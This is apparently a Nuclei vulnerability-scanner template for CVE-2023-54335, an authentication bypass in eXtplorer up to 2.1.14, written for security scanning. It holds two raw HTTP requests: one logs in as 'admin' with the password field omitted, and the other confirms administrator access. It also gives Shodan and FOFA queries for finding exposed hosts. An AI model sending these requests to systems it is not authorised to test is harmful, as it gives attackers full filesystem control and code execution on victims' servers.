eXtplorer <= 2.1.14 - Authentication Bypass

id: CVE-2023-54335

info:
  name: eXtplorer <= 2.1.14 - Authentication Bypass
  author: Securin
  severity: critical
  description: |
    eXtplorer <= 2.1.14 contains an authentication bypass in ext_find_user() (include/users.php). When the `password` POST field is omitted entirely, the password is NULL and the function returns the matching user record without checking any password. With the default "admin" account, an unauthenticated attacker can log in as administrator.
  impact: |
    An unauthenticated attacker gains an administrator session in the file manager, giving full read/write access to the server filesystem and leading to remote code execution.
  remediation: |
    Upgrade to a patched eXtplorer release in which ext_find_user() requires a non-null password.
  reference:
    - https://www.exploit-db.com/exploits/51067
    - https://github.com/soerennb/extplorer/blob/v2.1.14/include/users.php
    - https://nvd.nist.gov/vuln/detail/CVE-2023-54335
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-54335
    cwe-id: CWE-287
    cpe: cpe:2.3:a:extplorer:extplorer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: extplorer
    product: extplorer
    shodan-query: http.title:"eXtplorer"
    fofa-query: title="eXtplorer"
  tags: cve,cve2023,extplorer,auth-bypass,unauth

flow: |
  if (http('login')) {
    http('verify');
  }

http:
  - id: login
    raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        option=com_extplorer&action=login&type=extplorer&username=admin&lang=english

    matchers:
      - type: word
        part: body
        words:
          - "'success':true"
        internal: true

  - id: verify
    raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        option=com_extplorer&action=get_about

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "System Info"
          - "PHP Info"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c094cf5ff10a0391da8b76410d4828c7029224a1f9cf4aff7d37ee32aae70fea02204a0000ed51a8cc7309846303b4a3c54d0ead3ee8cdbea59bf4580b6fa7e7d24a:922c64590222798bb761d5b6d8e72950